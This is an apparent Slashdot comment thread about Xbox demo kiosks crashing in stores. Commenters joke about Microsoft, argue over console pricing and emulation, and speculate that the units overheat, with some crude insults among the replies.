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Crashing Xbox Kiosks

quannump writes "Gaming Age has an article up about some stores, including Toys R Us and Babbages, Xbox kiosk crashing at various places across the country. "Out of five stores that have playable demos within a ten mile area, only two have working units," says one Babbage's employee." It's funny because it's Microsoft. Get it? It's... oh never mind. Is DOA3 still planned as x-box only?

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  1. new msoft strategy? by macsox · · Score: 0, Troll

    maybe, after years of calling crashes and bugs "features", microsoft is now calling them "games".

    1. Re:new msoft strategy? by Leif_Bloomquist · · Score: 2, Funny

      My favorite Microsoft games are Minesweeper and Regedit.

    2. Re:new msoft strategy? by Jeremiah+Cornelius · · Score: 1
      Old Microsoft games....,Br>I really liked "Defrag"!

      It was like the "special ed" version of "Centipede"...

      On a 120Mb hard drive at +80% capacity, a single game could take 5 or six hours!

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    3. Re:new msoft strategy? by Anonymous Coward · · Score: 0

      My favorite game, a MUD if ever there was one, is "install the upgrade!".

      What a nailbiter; never knew what would happen next, or what kind of strange plot changes would occur in unrelated areas of the world..

    4. Re:new msoft strategy? by Anonymous Coward · · Score: 0

      Jeez. You guys will find anything you can to use to shit on Microsoft, won't you?

    5. Re:new msoft strategy? by Anonymous Coward · · Score: 0

      Yeah, you got a problem with that?

    6. Re:new msoft strategy? by pbrammer · · Score: 1

      It's a GAMING console!!! I've NEVER had my original Sega crash. Or my Sega Genesis, or my N64, or my Sony Playstation, or my Sony Playstation 2 for that matter. Hell, Atari was kick ass too! The original Sega machine came with a cool hidden game as well. Them were the days. Now, I get to be smoking some fool in an X-box game, and BAM! The B.S.of.D. HA! So, yes, I'll take a shit on Microsoft, and then I'll clean up using an EULA document from them.

    7. Re:new msoft strategy? by silicon_synapse · · Score: 1

      Personally, I've always been partial to FDISK. That has got to be the hardest game I've ever played. I keep having to start over! Anyone know any good cheat codes?

    8. Re:new msoft strategy? by Anonymous Coward · · Score: 0

      Hey, microsoft will use anything to shit on the consumers of the world, why not use another utter failure to laugh at them? I played XBox awhile ago and was THOROUGHLY unimpressed. I'm not a big gamer, but it's pretty obvious to even someone like me when the gameplay is terrible.

    9. Re:new msoft strategy? by mini+me · · Score: 2

      The N64 is easy to crash...

      For instance in Golden Eye, in two player mode (and possibly one) put a timed mine on glass. Shoot the glass until it breaks, then shoot the mine. It is a good move when you are losing!

      There are a bunch of other ways to crash it also...

    10. Re:new msoft strategy? by fitten · · Score: 1

      Gameplay is in the game, not the console. There are many games on many consoles with no gameplay. All your base are belong to us!

    11. Re:new msoft strategy? by NewtonEatPalm! · · Score: 1

      Umm... that would be an example of a game crashing, not a system failure. A game crash would be an error in the code that causes the same crash every time the right conditions are met. The system crash would pretty much involve the hardware randomly failing. The criticism is against the Xbox as hardware, not at any of it's games in particular. (A good analogy would be: Dell computers are bad because they are unstable. You would say: "Gateways suck too because I can get MS Office 2k to crash on my Gateway the same way each time!" One has nothing to do with the other.)

      Good day.

    12. Re:new msoft strategy? by MasterPsion · · Score: 1

      I'm willing to bet that within 3 years, XBox will dominate the game machines!!! Laugh all you want at MS, XBox will prevail..

  2. So, um... by Wakko+Warner · · Score: 0, Troll

    ...bets on how much money Microsoft will lose on the XBox? This could be their very own Newton.

    - A.P.

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    1. Re:So, um... by jiheison · · Score: 1

      This could be their very own Newton.

      Better yet, their very own Jaguar 64. (Or possible 32X?)

    2. Re:So, um... by hublan · · Score: 1

      ...bets on how much money Microsoft will lose on the XBox? This could be their very own Newton.

      Let's do some rough maths. MS allegedly has around $20 billion in cash reserves (that's cash, not stocks) plus or minus. Let's say each X-Box costs around $400 to manufacture.

      Now, 20,000,000,000 / 400 = 50,000,000.

      This means that they should be able to give nearly every household in America at least one machine.

      Heck! They should just give everyone $400 in cash!

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    3. Re:So, um... by aussersterne · · Score: 0, Offtopic

      The difference being that Newton was a great product which actually worked. The only two bad things people can generally name about Newton are a) the handwriting recognition, which was actually very good (better than anything for CE or Palm today) but first needed time to "learn" your handwriting and b) the infrared, which can't be blamed on Apple since it was implemented before current IrDA standards were even complete.

      And by the Newton 2000/2100 series, these things were all fixed -- the handwriting recognition was actually good out of the box, and the device would then continue to learn even more, and software is available to allow Newton 2000/2100 machines to interoperate using infrared with, for example, Palm devices.

      Newtons don't crash all the time, lose your data, or have a totally inelegant and mis-matched operating system for the task at hand. In fact, my Newton 2100 has *never* crashed on me in all the years I've used it, while a CE 2.11 HPC Pro I used for a few months crashed and required a hard reset almost daily, not to mention that the Newton's NOS 2.1 was incredibly well-designed as a PDA operating system while CE was so klunky it took lots of taps an arm movements to perform the simplest tasks.

      Then there's the fact that Newton was way ahead of its time, a paradigm-shifter, a visionary device when it was first released and which the industry wouldn't fully understand and follow properly until years later, while XBox is just yet-another-game-console-with-optional-peripherals without an original idea in it.

      Newton didn't fail on its own terms, it was in the black when it was killed. Maybe XBox is a lousy product (in fact, I think most people would bet on it), but don't compare it to the Newton.

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    4. Re:So, um... by Anonymous Coward · · Score: 0

      Part of what killed Newton was the *massive* overhype by Apple. If they'd been content with letting Newton stand on its own, limited merits, and develop from there instead of declaring it The Best Thing EVER!, it wouldn't have encouraged such a backlash (including derision by Doonsebury).

      Newton was a fine thing, but *nothing* could ever live up to Apple's hype, and N failed by comparison.

    5. Re:So, um... by Anonymous Coward · · Score: 0

      Blah blah blah, Mr. Jobs would you like another blowjob? blah blah blah

    6. Re:So, um... by Sawbones · · Score: 1

      A metric ton of money I'd say. Of course this has been the plan all along. Lose 5 billion over the course of 4 years before the division is profitable, then it'll make them a mint. That's why the xbox will likely succeed (not necessarily dominate but probably not fail). MSFT can afford to bleed money on something they think will eventually make them money.

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    7. Re:So, um... by Clowning · · Score: 1

      $400 to manufacture when they sell at $299? Maybe I need to go back to school to get my MBA to understand that one.

    8. Re:So, um... by Anonymous Coward · · Score: 0

      Um, Mr. Jobs is the one who killed the Newton...

    9. Re:So, um... by yellowjacket03 · · Score: 2, Informative

      Game systems are often sold at a loss. The games themselves are what the companies make money on. The notable exception is Nintendo, who has of yet to sell a system at a loss.

    10. Re:So, um... by Anonymous Coward · · Score: 0

      It's simple -- All Microsoft has to do to make money is either: (a) sell each XBox owner 32 games, (b) or drive Sony out of business before they see the big picture.

      (Actually the folks that need to go back to MBA school are the shitwits that priced this thing at $300. Way over the 'sweet spot' for home console units, and bordering on the range which you can get a home PC for, which incidentally will play all of the same games as an XBox.)

    11. Re:So, um... by machowsk · · Score: 1

      No. No. No.

      You PC simply will not play XBox games. The XBox runs its own OS (based on very stripped down version Win2k, but it's not backwards compatible with any other OS) Your PC will play ports of XBox games if and when developers decide to port games; just like your PC will play ports of Playstation games and Nintendo games.

      Additionally, MS does not need to sell 32 games per unit. On average, Sony & Nintendo (and MS will pressumably will follow suit) get about US$10 per game in licensing profit for each copy of a game sold. If we assume that MS is loosing about US$100 per XBox sold, they only need to sell 10 games per unit. BUT, that's still not the whole picture. MS will make additional profit on each DVD controller and periphiral it sells. Additionally, as the technology ages its cost of manufacturing goes down faster than the price of the console; so in two years an XBox may cost US$200 to buy, but it may only cost only US$100 to manufacture; eventually hardware manufactures can make money just selling the console and won't need to worry about the number of games sold per unit. Unless the XBox is a total washout, MS is not likely to take a bath on this.

    12. Re:So, um... by IpalindromeI · · Score: 1

      I highly doubt you could get a home PC that will play all of Xbox's games for $300 or just a bit more.

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    13. Re:So, um... by mini+me · · Score: 1

      That's why the Xbox would make an ideal web server when the Linux port comes out. Buy yourself a decent box for $299, MSFT loses $100 and you have yourself a webserver. It's win-win for everyone (with maybe the exception of Microsoft themselves).

    14. Re:So, um... by zeno_2 · · Score: 1

      Why wont my pc play xbox games. It is essentially using off the shelf parts for it, i dont see why it would be hard to build an enviorment where the xbox cd would think its in an xbox. Stranger things have happened. You really cant say it wont happen because it most likely will. You cant say it wont happen because of any special hardware in the box, as it uses something similar to a geforce 3. I would say the only thing standing in the way of this is the content protection built into the cd, but I heard its using a form of DRM, and as we found out, isn't all that secure. By the way, Microsoft has to sell 6 games with each xbox to break even. This next year, MS will probably pump about a billion dollars into the xbox, advertising, makign consoles, etc.. They probably wont see a profit for a while, and thats ok with Microsoft. Their main goal is to get an xbox in everyhouse.. so the upgrade to the homestation wont be that bad.

    15. Re:So, um... by bribecka · · Score: 2

      Or it could be as successful as NeTraverse, Loki, Penguin Computing, or VA Linux! Rock on!

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      Where are we going and why am I in this handbasket?

    16. Re:So, um... by aronc · · Score: 1

      There are several reason why it most likely won't happen, as you would know if you did some homework before posting. First, the version of DirectX used is NOT the same as what you get on a PC. The APIs are different. And we know how much luck we've seen with people trying to reverse those. Second the OS itself is not the same as any other MS OS. It's 2k kernal based, but w/o memory protections, multiuser, allows client apps to run at ring 0, etc. etc. All of this means that even IF you got the Xbox APIs reversed, you would then have to reverse that kernal and run a Xbox2k emulator on top of windows/linux itself. Another big one is UMA - unified memory architecture. The main memory for the xbox IS the video memory, period. No AGP bus, no transfering, nothing. There are no routines in the XDK for moving textures to the video card. That would be a HUGE problem to deal with in emulation. Even if you used a 64meg video card to load it all there, you still can't run the program stuff from there which means you have propagation issues. Lastly, the graphics processor for the Xbox is not a GeForce3. It is a similar archetecture, but not the same. No card on will hit the market that has the same internals as the Xbox chip, Nvidia has stated as much and you can bet it's in their contract with Microsoft.

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    17. Re:So, um... by zeno_2 · · Score: 1

      So, what your telling me is that you are predicting the future, and there will NEVER be an xbox emulator? I wonder if you shared the same thoughts when the PS1 came out, or the Dreamcast? Those systems dont even use an x86 architecture, yet you can get emulators on your pc for them. I really dont see why someone who knows what they are doing couldn't figure this out. You say its a win2k kernel, with less crap in it, hmm, that doesn't sound like it would be harder to figure out. Anyway, all im saying is that I feel we will probably see this sometime in the future... its been done before, and im sure it will be done again.

    18. Re:So, um... by Anonymous Coward · · Score: 0

      You know, you're right.

      And your point that it will be possible is well taken.

      Similarly, a Pentium based PC can be emulated on a Commodore 64. It's probably even possible, with the right amount of thrashing hardware, to make the thing run Windows 95. It'd be 100-500 times slower, but this is geek for the same of geek, no?

      In other words, no, there won't be an xbox emulator.

    19. Re:So, um... by Anonymous Coward · · Score: 0

      Yep.

      Any true Apple zealot has a really flaming big love/hate relationship with Steve Jobs.

      It's almost integral to Mac zealotry for that relationship to exist.

      The poor little fools.

    20. Re:So, um... by NickV · · Score: 2

      Expect for the fact that we already had an N64 emulator for two years that performs at higher resolutions than an N64, and at times, faster than an N64.

      So yes, there can be an xbox emulator, especially since, unlike the SGI, it's sooo close to a PC. Hey, we have Playstation, and MacOS/windows emulators as well. You haven't been following the emulation scene (or even looked at it) for the past 5 years have ya?

    21. Re:So, um... by NickV · · Score: 2

      Sorry, that's a bad link (first Google link I got.) Here's the HLE site.

    22. Re:So, um... by dup_account · · Score: 1

      Man, if overhyping is going to kill a product, what's the deal with every single OS and product shipped my M$? Talk about overhype. We can only hope that XBox dies from overhype.....

    23. Re:So, um... by Chiasmus_ · · Score: 1

      That's why the Xbox would make an ideal web server

      I don't know, man. I read an article somewhere that says that the Xbox crashes!

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      "Beware he who would deny you access to information, for in his heart he deems himself your master."
    24. Re:So, um... by Chiasmus_ · · Score: 1

      Man, if overhyping is going to kill a product, what's the deal with every single OS and product shipped my M$? Talk about overhype.

      There wasn't really much fanfare when Windows 98 was released; M$ kept claiming it was an "extremely minor touch-up".

      Perhaps they were trying to conceal the fact that all they did was illegally bundle in their web browser and fuck up the "shut down" feature so it would hang...

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      "Beware he who would deny you access to information, for in his heart he deems himself your master."
    25. Re:So, um... by AndyChrist · · Score: 1

      AND remember that Microsoft will be getting a bigger slice on the games that they themselves publish.

    26. Re:So, um... by unitron · · Score: 2

      Doesn't Apple bill everything they release as "The Best Thing EVER!" ?

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    27. Re:So, um... by memyselfandmyhand · · Score: 1

      ... Not if you put Linux, *BSD, Solaris, etc on it

    28. Re:So, um... by aronc · · Score: 1

      Nope, didn't say never.. I said "very difficult". You won't be able to just 'slap together' an emulator as the above person seemed to imply. It will be a full emulation job, just like any other console. Which means that in 8-10 years we will have the hardware to almost make them run right (see SNES emus).

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  3. DOA3 by argonaut · · Score: 0, Funny

    I believe it is for X-Box only, according to the local "Software, Etc." employees. BTW, their kiosk is working (for now).

    1. Re:DOA3 by amuro98 · · Score: 1

      It may be XBox only for now, but considering DOA2, I expect that we'll be seeing DOA3 on PS2 and maybe Gamecube down the road.

      (btw, why was this parent marked as 'funny'?)

    2. Re:DOA3 by archen · · Score: 1

      Perhaps they'll release DOA3 on X-box first, but maybe it will be a special edition - DOA -> dead on arrival

    3. Re:DOA3 by argonaut · · Score: 1

      According to the Tecmo website it says "Dead or Alive 3 it the latest installment in the popular fighting series from Tecmo, and is headed exclusively for Xbox November 15, 2001"

      The Quote

      Web Site

    4. Re:DOA3 by zeno_2 · · Score: 1

      On the kiosk i saw, it had a mockup of the Halo box cover, and I believe it said "only on xbox" =(

      Im sure we will see halo on the pc, but probably after christmas, and it wont be for any technical reasons, why sell Halo on pc, when its the only good reason to buy an xbox this early. They know if they put it on pc, and the xbox at the same time, they will get less xbox sales.

    5. Re:DOA3 by Anonymous Coward · · Score: 0

      Yep, XBOX will have DOA3. DOA, DEAD ON ARRIVAL. As in the xbox.

    6. Re:DOA3 by jjsoh · · Score: 1

      But in the video game world (especially home consoles) "exclusive" titles are usually interpreted as exclusive until they feel like porting it over to another system (usually a year) or when a system is on it's last lifeline.

      Remember when Resident Evil: Code Veronica was exclusive for Dreamcast? Now it's on PS2 and will be headed to GameCube.

      Speaking of which, for those who didn't know, Capcom announced plans to make the whole Resident Evil series GameCube EXCLUSIVE, both past and future titles.

      This includes the once exclusive Dreamcast RE:Code Veronica. Fun, ain't it?

  4. A gamer's point of view... by bflong · · Score: 4, Funny

    Wow! I've never seen *this* level before!
    I must have fallen into some opaque blue liquid.
    I hope I can swim to the top before I drown...

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    Why is it so hot? Where am I going? What am I doing in this handbasket?
    1. Re:A gamer's point of view... by cowboy+junkie · · Score: 2, Redundant

      It's more like 'oh no - not *this* level again'. This game sure is repetitive...

    2. Re:A gamer's point of view... by iapetus · · Score: 4, Funny

      Joking aside, the crash screen for XBox isn't the BSOD - it's a stylish green-tinted display which has obviously had a lot of work put into it, almost as if they expected it to be seen quite a lot...

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    3. Re:A gamer's point of view... by ekrout · · Score: 2, Funny

      See my .sig for some funny wallpaper!

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    4. Re:A gamer's point of view... by Anonymous Coward · · Score: 0

      So it's a GSOD?

    5. Re:A gamer's point of view... by Anonymous Coward · · Score: 0

      The "Green Screen Of Death" image that has been floating around only affects developer's kits if an invalid executable is on the hard drive.

      The XBox does not seem to have a crash screen, or at least I haven't run into it in the 6 month's I've been working with it.

    6. Re:A gamer's point of view... by praedor · · Score: 1

      That purdy green-hued screen you speak of is part of the total M$ experience that Gates is always going on about (while masturbating, no doubt). It isn't a glitch or bug, it is a feature. A great M$ experience.

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    7. Re:A gamer's point of view... by Anonymous Coward · · Score: 0

      hahahahaha, that's funny because you're retarded, you shit-munching asslick.

    8. Re:A gamer's point of view... by Anonymous Coward · · Score: 0

      Here is what the GSOD[hardocp.com]looks like

    9. Re:A gamer's point of view... by DrEldarion · · Score: 2

      Oh no! The X-box development kit had an error reading a file! What are we to do?!

      Like Taco said, IT'S FUNNY 'CAUSE IT'S MICROSOFT!!!! HAR HAR!!!

      -- Dr. Eldarion --

    10. Re:A gamer's point of view... by iapetus · · Score: 2

      I get moderated up to 4 but this gets left as 0? Strange world. I vote for (Score: 5, Informative). :)

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      Elrond says "No.". Elrond gives you some lunch.
    11. Re:A gamer's point of view... by zTTTz · · Score: 1

      All but forgot about that magic level in SMB. Just making sure, but there is no real use for level -1 in SMB, was there?

  5. Xbox Crash by Gildenstern · · Score: 4, Interesting

    I was playing one at Software Etc on Saturday.
    It was some car driving game. I played for about 5 minutes when I tried to restart the race. The box locked up solid.

    Now I know it was probally getting abused but I dont't think that it should have done that.

    And actually I wasn't that impressed by the graphics. I think my Tbird 1.4 with my Gforce 3 is much better

    1. Re:Xbox Crash by Dimensio · · Score: 3, Informative

      I don't disagree regarding the graphics. The only playable demo at the local software stores where I live is Munch's Oddysee. I know that it's a first-gen game but I remember many first-gen PS2 games that looked better (better texture quality, mostly).

      The rest of the disc was just "non-interactive", and I try not to judge game footage based upon console FMV -- there is always significant degredation of the image quality. Still, it didn't impress me terribly, didn't look like anything I'd want to play.

    2. Re:Xbox Crash by Anonymous Coward · · Score: 0

      It must have looked pretty bad if the PS2's texture quality is better. The PS2 has the worst texture quality since the PS1, even the 3DO has better looking textures.

    3. Re:Xbox Crash by Anonymous Coward · · Score: 0

      I just don't see why a PC gamer would buy an XBox. Considering the fact that it uses a 733MHz P3, it wouldn't hold a candle to 1.0+GHz Athlons. Plus, your limited to 720x480 resolution.

      I'm more of a console gamer myself (my computers are very lowend), and I'm not even considering purchasing it. Gamecube and PS2 have better games, and it's the games that matter most. XBox is gonna be in trouble I think.

      I wouldn't say I'm biased either. I have atleast 8 consoles from Sony to Sega to Nintendo.

    4. Re:Xbox Crash by Anonymous Coward · · Score: 0

      "I don't disagree ..."

      Well then, why not just agree and be done with it? Geeez.

    5. Re:Xbox Crash by __aawwih8715 · · Score: 1


      I agree that graphics aren't important, to a point that is.

      If poor graphics get in the way of gameplay, then they all of a sudden get very important.

      X-boxy can push lots of poly's etc., but how was the gameplay? Was it sacrificed in order to make it 3% prettier?

      I'm banking on gamecube.

    6. Re:Xbox Crash by Anonymous Coward · · Score: 1, Informative

      This is an utter lie. The disk sent out to retailers has only one playable game, and it isn't a driving game.

    7. Re:Xbox Crash by Anonymous Coward · · Score: 0
      I think your Tbird 1.4 with GeForce 3 cost a little more than $299.

      Wait, no, I'm not really trying to be pro-MS!!!

    8. Re:Xbox Crash by zeno_2 · · Score: 1

      Oh please, take a look at gran tourismo 3, and then gran torismo 2, and tell me the textures are worse looking in gran tourismo 3. If you can do that, try doing it with a straight face..

    9. Re:Xbox Crash by Anonymous Coward · · Score: 0

      Uhm - ever wondered why the driving game didn't seem to react to your input? ;)

      The fricking thing is a movie, darn it.

      Credibility === 0/1.

    10. Re:Xbox Crash by ryanvm · · Score: 3, Insightful
      And actually I wasn't that impressed by the graphics. I think my Tbird 1.4 with my Gforce 3 is much better.

      I'm sorry, but your video card alone cost between $200 and $350. Exactly what is the point of comparing a $1000 computer with a $299 console?

      Say what you will of Microsoft, but $299 for a 700 Mhz PIII with an nVidia chipset is a suhweeet deal.

      I'm just interested to see how long it takes the hacker community to turn these things into coolest looking Linux workstations ever.

    11. Re:Xbox Crash by slashdot2.2sucks · · Score: 2, Funny

      True story:

      3 kids walk into the Toys R Us R-zone chanting the mantra "X-box rules".

      They walk up to the kiosk and play Munch's Oddysee.

      The next thing you hear is "X-box is gay"

    12. Re:Xbox Crash by Chiasmus_ · · Score: 1

      I'm just interested to see how long it takes the hacker community to turn these things into coolest looking Linux workstations ever.

      If I ever type 'vim', and get a Green Screen of Death and the message "Please take this to Microsoft for service", then I am leaving computing. Forever. You can find me putting in applications at Hot Dog on a Stick kiosks around the nation.

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      "Beware he who would deny you access to information, for in his heart he deems himself your master."
    13. Re:Xbox Crash by Anonymous Coward · · Score: 0

      Excellent. Please fuck off out of computing immediately and forever and leave it to people with talent, cock goblin.

    14. Re:Xbox Crash by Anonymous Coward · · Score: 0

      "Microsoft will "lose $125 on every Xbox console"." from CNET

      Looks like MS will try to buy it's way into the gaming market.

    15. Re:Xbox Crash by Anonymous Coward · · Score: 0

      If you read my post you will see that I said that the PS2 has the worst texture quality since the PS1. In other words, the PS1's textures look worse than the PS2. This isn't saying much for the PS2.

      The PS1 has the worst texture quality since software rendering on a cga card. All that dithering and warping, OMG!

    16. Re:Xbox Crash by Anonymous Coward · · Score: 0

      Why buy an xbox? Well, it's cheap. There will be lots of free warez for it. (People already know how to crack windoze.) And if the games really suck that bad you can reformat it and use it as a linux box like the iOpener. Why not? Might want to wait until Microsoft drops the price to $99, as they have said they will do in order to sell 50 million units.

    17. Re:Xbox Crash by Billly+Gates · · Score: 1, Redundant

      Yes I know it crashes and the graphics may not be that good but don't worry. Its the next version that will be the killer. Xbox.net will be much better.

      Oops well xbox.net seems to have its own sets of problems. Uh, well just camp outside compusa and wait for the third one. Oh man! Now the third one will be thee one........

      Yes, I see Microsoft's strategy alright. Worked quite well for Windows95 and is working for the new WindowsXP operating system. All the promisses of stability that should come with XP have already been promised 6 years ago with Windows95. 6 years and Microsoft still has issues with stability. They make windows suck on purpose so consumers keep buying and buying with the hope of something working better with each new release. I bet they crippled xbox on purpose to sell the next generation unit.

    18. Re:Xbox Crash by Rogerborg · · Score: 2
      • Exactly what is the point of comparing a $1000 computer with a $299 console
      1. If you already have a kick ass machine, don't bother paying another $300 for an Xbox.
      2. If you've reading this on a mediocre PC consider spending $300 on a GeForce3 (or GeForce2 + processor) for it, rather than buying an Xbox.
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      If you were blocking sigs, you wouldn't have to read this.
  6. Sorry! by DwarfGoanna · · Score: 1
    It was me. I just wanted to be the first to see what a blue screen looked like on such whomp hardware. All I did was plug in my digital camera. =)

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    1. Re:Sorry! by Anonymous Coward · · Score: 0

      gee, a Microsoft gaming system crashing? gee THERES a surprise! lol! Anyways, id pay money to see the look on someones face when they were playing a RPG on the xbox, getting to the end, only to have it bluescreen, haha.....i guesss xbox's motto will be "save often"!

  7. Wow by nexex · · Score: 1

    I'm glad Microsoft has finally brought some "innovation" to the console world. They are only providing a feature that customers want!

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    1. Re:Wow by Jburkholder · · Score: 5, Funny

      "Microsoft technical support... can I help you?"

      "Um, yeah. I was, like um, playing this game... and, uh, it like totally froze one me in the middle of a level? And then, like the screen turned all blue and junk, and all these really freaky little numbers and letters came up? And dude, it like totally SUCKS because I was RIGHT in the middle of a totally awesome part of this game, right?"

      "Ok sir, can I please please have your CC # which will be billed $30 for this incident?"

      "wha?"

      "I need you credit card before I can issue a trouble ticket for this incident."

      "...but it like totally crapped out on me, dude! I'm not gonna pay $30 bucks just to TALK to you?!"

      "Sir, if Microsoft can determine that the fault does not lie on you end, you will be refunded your technical support incident fee."

      "&*(%$# you #@&*$% " (click)

    2. Re:Wow by Anonymous Coward · · Score: 0

      Funny... Microsoft tech support has never charged me *ANYTHING*.

      Luser.

    3. Re:Wow by bluntmanspam · · Score: 1

      Well, that would actually be better than M$ tech support. I was once billed $200 for taking 4 hours of my time to show them a new bug in NT Terminal Server. No refunds there.

  8. "Believed to be final hardware" by Anonymous Coward · · Score: 0

    What in the world would lead them to believe this? Fancy packaging? Obviously this isn't the final product.

    1. Re:"Believed to be final hardware" by UnhandledException · · Score: 1

      Obviously? Well, it's behaving like other Microsoft final products.

    2. Re:"Believed to be final hardware" by SquierStrat · · Score: 1

      That's about as an intelligent a comment as saying someone with an MBA from Havard is dumb because they don't make good speeches.

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    3. Re:"Believed to be final hardware" by n7ytd · · Score: 1
      That's about as an intelligent a comment as saying someone with an MBA from Havard is dumb because they don't make good speeches.


      Or about as dumb as assuming someone is smart because they graduated from Harvard.

    4. Re:"Believed to be final hardware" by SquierStrat · · Score: 1

      Or as dumb as associating lack of common sense with complete stupidity. :-)

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  9. Probably overheating by ttyRazor · · Score: 4, Insightful

    Putting them inside those enclosures probably isn't the best place for heat dissipation. I know if I put my PC in something like that it wouldn't last long.

    1. Re:Probably overheating by geekster · · Score: 1

      What about the other consoles, why don't they overheat?

    2. Re:Probably overheating by erpbridge · · Score: 5, Insightful

      Problem is, Microsoft (and for that matter, anyone making a console system or piece of a home entertainment center) needs to keep in mind that it is all too possible that this piece of equipment WILL be put into a space with about a finger's worth of clearance on each side and top, and will possibly also have a couple things stacked on top of it. They need to design them either for quick heat dissipation, or low heat generation.

      The kiosk is spacious compared to what some will go through....

    3. Re:Probably overheating by Kierthos · · Score: 1

      It might be due to heat dissipation, but if so, that's not a good thing anyway. How many people place their game consoles in a TV cabinet or next to their VCR? If it's going to overheat and have load problems this easily, I can't see a whole lot of incentive to buy the silly thing.

      Well... since Solid Gear Metal 2 is coming out, I don't see a lot of incentive to do anything but sit in front of a PS2 for prolonged periods of time.

      Kierthos

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    4. Re:Probably overheating by gorillasoft · · Score: 2

      I have personally seen N64's and PS1's both repeatedly crash in the in-store demo boxes. I don't know the source of the crashes/lockups, but the hardware was relatively new as the store had only been open a month or so.

      Basically, these boxes do get abused a lot, and some setups do use extremely small enclosures without sufficient (and sometimes no) ventilation, so they could be succumbing to heat or user caused failures.

      Now, it is somewhat surprising that this would happen in such a short time of use, but it is possible it's just a heat problem.

    5. Re:Probably overheating by jiheison · · Score: 1

      They do. Or at least, they did. Remember the PS1? There was even an external cooling system you could buy (Game Ice?). The problem was eventually fixed.

    6. Re:Probably overheating by Anonymous Coward · · Score: 0

      Their hardware naturally generates less heat. An Xbox is for the most part a regular x86 PC, which require a lot of cooling compared with a traditional console.

      For most consoles a heatsink and sometimes a small fan is enough. For PCs a big heatsink and fan are minimum.

    7. Re:Probably overheating by FatRatBastard · · Score: 3, Insightful

      Not only that, but it will also be banged around. I see failed HD's being a thorn in MS's side. Either they fix 'em as they go bad (and with piss poor ventalation and kiddies manhandling 'em they're going to go bad quicker than normal) and eat a lot of $$$, or they don't fix 'em and piss off a lot of customers.

    8. Re:Probably overheating by blang · · Score: 3, Funny

      It's part of a secret plan by microsoft to sell more windows licences. The xbox will burn down your house. Each house has 2-3 windows boxes, and unless you've kept your retail bought MS software in a bank box, they'll need to be bought again. Look forward for brisk MS business after the holidays.

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    9. Re:Probably overheating by Anonymous Coward · · Score: 0

      I hate to tell you this mac daddy, but MGS2 for PS2 isn't going to be the "full" version. That bad boy is limited to the x-box. So have fun sitting around playing the less game.

    10. Re:Probably overheating by stilwebm · · Score: 2

      The boxes I've seen recently had large vent holes on the sides and/or rear and appeared to have a fan or two. Before the XBox this was primarily to prevent the TV or monitor from overheating though. I haven't made a conscious effort to look at an XBox demo, but the stores in my area often use the same displays for various consoles.

    11. Re:Probably overheating by cloudmaster · · Score: 5, Funny

      Either they fix 'em as they go bad (and with piss poor ventalation and kiddies manhandling 'em they're going to go bad quicker than normal) and eat a lot of $$$, or they don't fix 'em and piss off a lot of customers.

      Hmm, will MS take the cash hit, or piss off consumers with low quality service. If only they had set an earlier precedent so we could infer how they'd behave now...

    12. Re:Probably overheating by liposuction · · Score: 0

      With the top-loading design, I really don't see anyone trying to stack a DVD player, or 24lb Sony 5.1 receiver on top of the 4" by 4" gamecube.

      Ha ha ha!

      Nice post erpbridge.

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    13. Re:Probably overheating by FatRatBastard · · Score: 3, Interesting

      Very good point.. and that's the rub.

      "Fuck the customer" works well with 85%+ market share (and in console land Atari had somewhat the same attitude during the 2600 days as well). But when you've got 2 entrenched competitors to worry about, you're suck. They'll have to eat the $$$ and fix 'em.

      Write crappy software that doesn't sell and you're out development and marketing costs (and some point of sale distribution costs as well). Make crappy hardware that you're selling at a loss (with the hope of making it all back up in SW) and you're screwed.. big time. When soccer mom goes to Walmart and has 3 game systems in front of her, and one has a reputation of possibly being DOA, she's going to pick on of the other two.

      With all of the comp. MS has to fase in the console world, a system with a bad reputation for stability is gonna Kill 'em. You can update designs and make the next revision of the hardware stable, but the reputation is a lot harder to repair.

    14. Re:Probably overheating by rhost89 · · Score: 1

      If it is indeed overheating, i can see this as being a fire hazard if placed next to equipment that produce a large amount of heat, like my replaytv (Even with all the extra fans i have put into it, with an extra hard drive it still gets very hot). Will we get reports of entertainment centers spontaniusly combusting?

      "I swear, i was playing halo and that last grenade blew up my entertainment center." ;9

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    15. Re:Probably overheating by Winged+Cat · · Score: 1

      Why not whip up a cheap, mostly hollow plastic enclosure, and ship all your demo units in it? Unless the store employees remove the unit from the enclosure, any packing of the unit will make sure it gets enough heat dissapation. The enclosure can even be clear plastic, so the customer doesn't get confused when their purchased unit is much smaller.

    16. Re:Probably overheating by AssFace · · Score: 1

      it has the geforce3 in it right?
      that isn't exactly a cool running chip...

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    17. Re:Probably overheating by Cid+Highwind · · Score: 1

      Demo consoles *are* in big clear plastic enclosures. They overheat and die anyway, because there isn't enough airflow through the box.

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    18. Re:Probably overheating by SquierStrat · · Score: 1

      The problem with you comment, is that most consoles are placed in such situations in the home. Microsoft SHOULD have accounted for this. (Read: x86 hardware = not good for this application in that respect.) But then again, Microsoft has a bunch of software engineers..in Bill Gates quest for more billions just MAYBE he forgot he needs to higher computer/electrical engineers and thermal/mechanical engineers to do the hardware design...afterwall one who can design software probably can't design hardware!
      x86 hardware, particularly at the speeds the X-Box is running gets VERY VERY VERY hot VERY VERY VERY easily. This is especially true of the closed in areas that consoles are almost always placed in! I would place money they dont even have a decent fan on those CPUs! I've seen the kiosks and there is no exhaust port on them...this makes it even more likely to overheat, since it's cycled hot air that is getting exponentially hotter over the cpu assuming they actually have fans running on them.

      Anyhow...I said I wouldn't be getting one, and this just confirms my reasoning.

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    19. Re:Probably overheating by Anonymous Coward · · Score: 0

      It's too bad they didn't use an Athlon part.

      They could have come out with a rocket-boy game of some sort. That big honking cooling fan needed on a Athlon system would make a great simulation of a rocket engine.

      To say nothing of the gameplay. No need to simulate the meltdown. Just stick a wire in the fan blade.

    20. Re:Probably overheating by Anonymous Coward · · Score: 0

      You're assuming that the systems are going to be as crappy as all that, though.

      Let's wait and see a bit. When Junior goes along with Mom to WallMart, he'll want the cool new game. Not just the next-generation whatever-old-console thing.

      Microsoft hardware has had a long repuation for being high quality.

    21. Re:Probably overheating by ortholattice · · Score: 2
      Either they fix 'em as they go bad (and with piss poor ventalation and kiddies manhandling 'em they're going to go bad quicker than normal) and eat a lot of $$$, or they don't fix 'em and piss off a lot of customers.

      The EULA probably states something like "The HARDWARE comes AS IS, with no implied warranty of merchantability, no warranty of fitness for a particular purpose, nor any warranty against interference with your enjoyment of the HARDWARE or against infringement, blah, blah, blah..." As for pissing off customers, Windows 3.1, 95, 98,... have already conditioned their expectations.

    22. Re:Probably overheating by FatRatBastard · · Score: 2

      You're assuming that the systems are going to be as crappy as all that, though.

